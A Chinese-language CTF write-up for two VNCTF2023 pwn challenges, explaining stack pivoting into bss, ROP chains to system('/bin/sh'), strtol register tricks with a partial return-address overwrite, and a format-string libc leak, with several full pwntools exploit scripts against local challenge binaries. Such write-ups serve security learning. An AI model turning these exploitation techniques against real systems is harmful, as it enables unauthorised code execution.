VNCTF2023

文章发布时间:

最后更新时间:

文章总字数:
3.9k

预计阅读时间:
18 分钟

Traveler

保护机制

ida 两个关键函数

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

init(argc, argv, envp);
puts("who r u?");
read(0, buf, 0x30uLL);
puts("How many travels can a person have in his life?");
read(0, &msg, 0x28uLL);
return 0;
}
1
2
3
4
int boynextdoor()
{
return system("echo flag");
}

boynextdoor函数只能输出flag字符串 而非flag文件内容 单纯的提供了system函数 所以这里大胆猜测这题不用泄露libc基址

回到main函数 提供了两次read 一次可以溢出0x10字节的数据 一次往bss段写数据 再加上提供了system函数 所以这里一开始是想的很简单 直接栈迁移到bss段上 构造system(“/bin/sh”) 但是很快发现打不通

执行流卡在了这里 此时的rsp位于0x403d00 问题可能出在这里 因为这题的bss段的位置实在是太奇怪了 按理来说64位的二进制程序中bss段一般都是0x600000往后的

可以看到0x403000 - 0x404000 是只有可读权限的 只有在0x404000 - 0x405000之间才有写权限

所以此时rsp执行到了0x403d00以后 没有办法继续写入内容了 故无法成功执行system

那么此时就是想办法抬高栈帧 一开始是打算构造read来往高地址重新写入rop链 随后返回main函数重新栈迁移

但是再次执行read函数的时候 rsi寄存器受到了污染 不在指向原本的栈地址

1
2
3
4
.text:000000000040121A                 mov     edx, 30h ; '0'  ; nbytes
.text:000000000040121F mov rsi, rax ; buf
.text:0000000000401222 mov edi, 0 ; fd
.text:0000000000401227 call _read

不过联想到了西湖论剑的calc的做法 在bss段构造rop链 写入的地址紧跟在rop链后 这样就可以循环执行

具体可以去看我相关的博客

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level = 'debug'
io=process('./pwn')
#io = remote("node4.buuoj.cn",25261)
elf = ELF('./pwn')
#libc = ELF('./locate')
context.arch = "amd64"
context.terminal = ['tmux','splitw','-h']

io.recvuntil("who r u?")
backdoor_addr = 0x4011dd
leave_addr = 0x0000000000401253
bss_addr = 0x4040A0
payload = cyclic(0x20)+p64(bss_addr)+p64(leave_addr)
io.send(payload)
rdi_addr = 0x4012c3
system_addr = 0x4011EC
puts_plt = 0x401070
puts_got = elf.got['puts']
start_addr = 0x4010b0
read_got = elf.got['read']
system_got = elf.got['system']
main_addr = elf.sym['main']
ret_addr = 0x000000000040101a
io.recvuntil("How many travels can a person have in his life?")
read_addr = 0x4010a0
rsi_r15_addr = 0x00000000004012c1
add_rsp = 0x0000000000401016
rsp_addr = 0x00000000004012bd
payload = b'/bin/sh\x00'+p64(rsi_r15_addr)+p64(0x4040c8)+p64(0)+p64(read_addr)
# gdb.attach(io,'b *0x401254')
# pause(0)
io.send(payload)
payload = p64(ret_addr)+p64(rsi_r15_addr)+p64(0x4040f0)+p64(0x4040f0)+p64(read_addr)
io.send(payload)

for i in range(1,50):
payload = p64(ret_addr)+p64(rsi_r15_addr)+p64(0x4040f0+0x28*i)+p64(0x4040f0+0x28*i)+p64(read_addr)
io.send(payload)

payload = p64(ret_addr)+p64(ret_addr)+p64(rdi_addr)+p64(0x4040a0)+p64(system_addr)
io.send(payload)
io.interactive()

另外再借助猫神的exp以其他做法复现了一遍 收获也很大 记录一下

我觉得十分有必要逐步分析

首先 我们的栈空间不够 所以需要往高地址写入rop链再迁移过去 这是最开始的思路

起初我是认为第二次main函数的read的rsi参数被破坏了 这是因为我用的是垃圾数据覆盖rbp 在复现第二题的时候意识到了这个问题

而其rsi寄存器的值实际上是取rbp-0x20处的数据

1
2
3
4
.text:000000000040121A                 mov     edx, 30h ; '0'  ; nbytes
.text:000000000040121F mov rsi, rax ; buf
.text:0000000000401222 mov edi, 0 ; fd
.text:0000000000401227 call _read

所以如果我们适当调整rbp的值 这里的read就可以做到任意写

我们预想的情况还是在bss段上通过连续的rop链来牢牢掌握住程序控制流

1
pad0 = b"a"*0x20+p64(0x4040c0+0x20)+p64(0x401216)

这一段payload用来供第一次main函数的第一个read函数读入

用来覆盖rbp的0x4040c0这个可以先忽略 在实际做题中暂且认为其是一个变量 值为0x4040a0+len(payload) 此处的payload为第一次main函数第二次read读入的rop链长度

此时程序执行到了第二次read这里 读入的首地址是0x4040a0

1
2
read_rop = p64(pop_rsi_r15)+p64(0x4048d8)+p64(0)
read_rop += p64(read_plt)+p64(pop_rbp)

gdb动调查看各个寄存器的值 发现我们只需要修改rsi寄存器的值就可以构造read函数 读入的地址挑选一个高地址处的 抬高栈帧

接下来 程序继续运行 跳转到了0x401216 再次执行一次read

但是要注意在栈帧结束时的leave指令 此时使得rbp指向了0x4040e0

于是我们这时候执行的read参数为

1
p64(pop_rbp)+p64(0x4048d8)+p64(leave_ret)+p64(0)+p64(0x4040a0-8)+p64(leave_ret)

这一段payload主要是用来进行栈迁移到高地址处 通过弹出0x4048d8给rbp寄存器 leave_ret将栈迁移到了0x4048d8

接着程序执行流执行到了第二次main函数的第二次read

1
2
read_rop = p64(pop_rsi_r15)+p64(0x4048d8)+p64(0)
read_rop += p64(read_plt)+p64(pop_rbp)

这个read读入的首地址仍然是0x4040a0 所以和第一次main读入一样的数据就行了

随后 第二次main函数准备结束栈帧 执行leave|ret两条指令

mov rsp,rbp rsp指向0x4040e8 rbp指向0x404098

还记得我们之前往0x4040c0写入的rop链吗 此刻派上用场了 位于0x4040e8的正是leave指令

执行完leave以后 rbp为0 rsp为0x4040a0

此刻程序执行流来到了我们最初往0x4040a0写入的rop链 其再次构造了一次read

这个read读入地址的首地址为0x4048d8

1
rop_sh = p64(0x4048d8)+p64(pop_rdi)+p64(0x4048f8)+p64(system_plt)+b'/bin/sh'+p64(0)

此时程序执行到read函数结束 准备ret到下一个字长处的指令 那么此时就是pop rbp

接着往下一个字长处是leave_ret 相当于一个栈迁移

而此时0x4040c8处我们填充的就是0x4048d8 而0x4048d8处我们填充的也是0x4048d8

所以rsp和rbp此时就完成了一次栈迁移 rsp指向了构造的system

到这里整个程序的执行流就结束了 不过还是没有理解的地方 按理来说

1
2
read_rop = p64(pop_rsi_r15)+p64(0x4048d8)+p64(0)
read_rop += p64(read_plt)+p64(pop_rbp)

中的pop_rbp和下面的

1
p64(pop_rbp)+p64(0x4048d8)+p64(leave_ret)+p64(0)+p64(0x4040a0-8)+p64(leave_ret)

中的pop_rbp所存储的是同一个内存空间 都是0x4040c0 不知道为啥删去前面一个就会导致程序卡死

问题貌似出在这一段rop链错位了 0x4040c0应该存放的是pop rbp 而0x4040c8不应该为0 而是存放0x4048d8

这个疑点目前以我的动调水平还看不出来是啥问题 留着以后探讨吧 不过这次复现真的提升很大

对于栈迁移更加熟悉了 特别是学会了利用pop rbp的方法来栈迁移 不得不说和猫神这样的大牛子差距真的太大了

tongxunlu

考的就是一个函数的返回值在寄存器存放中的知识点

在这题之前我们先来看一个小程序

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
read(0, buf, 0x30uLL);
puts("pause");
return 0;
}

调式exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
from struct import pack
#io = remote("node4.buuoj.cn",26248)
io = process("./a.out")
context.log_level = "debug"
elf = ELF("./pwn")
#libc = ELF("./buu_libc_ubuntu16_64")
#libc = ELF("./locate")
context.terminal = ['tmux','splitw','-h']
context.arch = "amd64"
def debug():
gdb.attach(io)
pause()

payload = cyclic(0x8)
gdb.attach(io,'b *$rebase(0x72C)')
pause()
io.send(payload)
pause()

将断点打在call read之后 随后我们来看一下寄存器的值

可以看到此时rax寄存器的值是0x8 正是我们通过read输入的数据的字节数 而read函数的返回值则等于接收到的字节数

同理 我们来试一下strtol函数 即本题的关键漏洞函数

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<stdlib.h>
#include<seccomp.h>
#include<string.h>
int main(){
char a[20];
long int b;
read(0,a,0x30);
b= strtol(a,0,10);
puts("pause");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
from struct import pack
#io = remote("node4.buuoj.cn",26248)
io = process("./a.out")
context.log_level = "debug"
#elf = ELF("./pwn")
#libc = ELF("./buu_libc_ubuntu16_64")
#libc = ELF("./locate")
context.terminal = ['tmux','splitw','-h']
context.arch = "amd64"
def debug():
gdb.attach(io)
pause()

payload = b'11'+b'aaaaaaaa'
gdb.attach(io,'b *$rebase(0x77D)')
pause(0)
io.send(payload)
pause()

可以看到11是被rax寄存器存储 aaaaaaaa 被rdi寄存器存储

strtol函数一共需要三个参数

1
long int strtol(const char *str, char **endptr, int base)

str字符串提供要经过转化的字符串 endptr用来存放剩余字符串 base用来指定转化的进制 就**strtol(a,0,10)**举例

我们给定的进制为10进制 那么其只会接收0-9的字符 如果检测到了不属于这个范围的 则会停止接收 比如读入了两个11后 检测到了a 则停止接收 使返回值为11

而接下来剩余的字符串 会一直接收到识别到\x00 即字符串的结束 将其放入到endptr中 在这个程序中的表现就是被放入到rdi寄存器存储

上述的一切程序编译环境是Ubuntu18.04 更换libc为libc-2.31.so

说回vn的这一题

保护机制

1
2
3
4
5
6
7
8
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/'

再来看一下反汇编后的代码

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
init_buf(argc, argv, envp);
eeee_wantboy();
hao_kang_de();
return 0;
}

三个函数 init_buf用来清空缓存区

来看剩下两个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 eeee_wantboy()
{
char v1[256]; // [rsp+0h] [rbp-130h] BYREF
char buf[36]; // [rsp+100h] [rbp-30h] BYREF
int v3; // [rsp+128h] [rbp-8h]
int v4; // [rsp+12Ch] [rbp-4h]

v4 = 0;
v3 = 0;
puts("halo little giegie,my name is eeee,i am 11111");
puts("can i get your phone number");
puts("if you give me your number,i will give you some hao_kang_de");
read(0, buf, 0x40uLL);
printf("i get you ! little giegie");
printf("heyhey , hao_kang_de is %lx \n", v1);
puts("anything want to say?");
read(0, v1, 0x100uLL);
return strtol(buf, 0LL, 10);
}

有一个栈溢出漏洞 但是只够覆盖rbp和retaddr 不过前面一题是栈迁移 应该不会两题都考

还有一次往v1输入数据的机会 不过没有栈溢出 也覆盖不到buf

最后是调用了strtol函数 联想到我们上面做的小实验 所以这里我们可以控制rax和rdi寄存器的值

接着看下一个函数

1
2
3
4
5
6
7
8
int hao_kang_de()
{
signed __int64 v0; // rax

puts("wait!! i will give you something");
v0 = sys_write(0, 0LL, 0LL);
return puts("hhhh~i just tell a joke");
}

转化成汇编形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:000000000000087B                 push    rbp
.text:000000000000087C mov rbp, rsp
.text:000000000000087F lea rdi, s ; "wait!! i will give you something"
.text:0000000000000886 call _puts
.text:000000000000088B mov rax, 1
.text:0000000000000892 mov rdi, 0 ; fd
.text:0000000000000899 mov rsi, 0 ; buf
.text:00000000000008A0 mov rdx, 0 ; count
.text:00000000000008A7 syscall ; LINUX - sys_write
.text:00000000000008A9 lea rdi, aHhhhIJustTellA ; "hhhh~i just tell a joke"
.text:00000000000008B0 call _puts
.text:00000000000008B5 nop
.text:00000000000008B6 pop rbp
.text:00000000000008B7 retn

是采用syscall的方法调用的write 联想到我们可以修改rax和rdi 所以这里可以直接partical write的方法跳转到0x899这里 进行系统调用

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
#libc = ELF("./buu_libc_ubuntu16_64")
context.arch = "amd64"
context.terminal = ['tmux','splitw','-h']


def exploit():
io=process('./pwn')
io.recvuntil("if you give me your number,i will give you some hao_kang_de")
payload = b'59'+b'/bin/sh\x00'
payload += cyclic(0x2e)+p16(0x899)
io.send(payload)
io.recvuntil("anything want to say?")
payload = p64(0)
# gdb.attach(io,'b *$rebase(0x976)')
# pause(0)
io.send(payload)
# pause()
io.sendline("cat flag")
result = io.recv(timeout=1)
io.interactive()

if __name__ == '__main__':
try_count = 0
while(True):
try:
exploit()
except:
try_count += 1
print("failed :{}".format(try_count))

这题还看到其他师傅有比较新奇的思路 用的是格式化字符串泄露libc基址 试着跟着复现了一下 感觉收获还是很多的

因为这题开启了PIE 所以没有办法利用第一个栈溢出到处跑 只能说试着爆破最后两个字节或者是覆盖最后一个字节来做到同页内迁移

正常情况下eeee_wantboy函数的返回地址是

如果我们只覆盖最后一个字节就可以做到同页内的迁移 可以跳转到0x555555554900 - 0x555555554a00的任意地址

也就是eeee_wantboy函数的一部分和main函数

原本的程序执行顺序是先read再提供栈的地址 通过跳转的办法我们就可以获得栈地址后再考虑如何构造rop链

同时你要注意到read函数的rsi参数是根据rbp的地址来寻找的

1
2
3
4
5
.text:0000000000000943                 lea     rax, [rbp+var_130]
.text:000000000000094A mov edx, 100h ; nbytes
.text:000000000000094F mov rsi, rax ; buf
.text:0000000000000952 mov edi, 0 ; fd
.text:0000000000000957 call _read

如果用垃圾数据覆盖rbp 就丢失了这次read的机会

这里把漏洞点放到没有指定任何参数 而是单独输出字符串的printf函数上面 我们只需要控制rdi寄存器就可以触发格式化字符串漏洞

这里也是借助strtol函数的特性来操控rdi寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
io = process("./pwn")
#libc = ELF("./buu_libc_ubuntu16_64")
context.arch = "amd64"
context.terminal = ['tmux','splitw','-h']

io.recvuntil("if you give me your number,i will give you some hao_kang_de")
payload = cyclic(0x38)+p8(0x79)
io.send(payload)
io.recvuntil("heyhey , hao_kang_de is ")
stack_addr = int(io.recv(12),16)
success("stack_addr :"+hex(stack_addr))
io.recvuntil("anything want to say?")
io.send(b'chen')
io.recvuntil("if you give me your number,i will give you some hao_kang_de")
payload = b'%7$p|%11$p'.ljust(0x30,b'\x00')+p64(stack_addr+0x218)+p8(0x12)
io.send(payload)
io.recvuntil("anything want to say?")
gdb.attach(io,'b *$rebase(0x912)')
pause(0)
io.send(b'chen')
pause()

这里的rbp之所以用stack_addr+0x218覆盖 也是为了使得第二次执行eeee函数时的read的rsi参数正确 我们预想的是直接写到rsp处 这样在执行read指令时 其内部存在的ret指令就可以将rop链的首部弹出到rip 控制程序执行流

这个偏移并不是唯一的 可以自己更换数值多动调 按我下面的办法

此时rsp是指向0x7ffc8d148b50处 而我们的rbp设置成了stack_addr+0x218 为0x7ffc8d148c28

所以read读入的地址是rbp-0x130 也就是0x7ffc8d148af8

此时s进入call read指令

当其执行到ret准备执行下一个指令时的rsp指针指向0x7ffc8d148b48

所以我们read需要填充的垃圾数据就是0x7ffc8d148b48-0x7ffc8d148af8=0x50

另外执行system的时候还需要注意栈对齐

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
io = process("./pwn")
#libc = ELF("./buu_libc_ubuntu16_64")
context.arch = "amd64"
context.terminal = ['tmux','splitw','-h']

io.recvuntil("if you give me your number,i will give you some hao_kang_de")
payload = cyclic(0x38)+p8(0x79)
io.send(payload)
io.recvuntil("heyhey , hao_kang_de is ")
stack_addr = int(io.recv(12),16)
success("stack_addr :"+hex(stack_addr))
io.recvuntil("anything want to say?")
io.send(b'chen')
io.recvuntil("if you give me your number,i will give you some hao_kang_de")
payload = b'%7$p|%11$p'.ljust(0x30,b'\x00')+p64(stack_addr+0x218)+p8(0x12)
io.send(payload)
io.recvuntil("anything want to say?")
# gdb.attach(io,'b *$rebase(0x912)')
# pause(0)
io.send(b'chen')
libc_start_main_addr = int(io.recvuntil("|",drop = True),16)-243
success("libc_start_main_addr :"+hex(libc_start_main_addr))
elf_base = int(io.recv(14),16)-0x978
success("elf_base :"+hex(elf_base))
libc_addr = libc_start_main_addr - libc.sym['__libc_start_main']
success("libc_addr :"+hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))
rdi_addr = elf_base + 0x0000000000000a13
io.recvuntil("anything want to say?")
ret_addr = elf_base + 0x000000000000069e
payload = b'a'*0x50+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
io.send(payload)
io.interactive()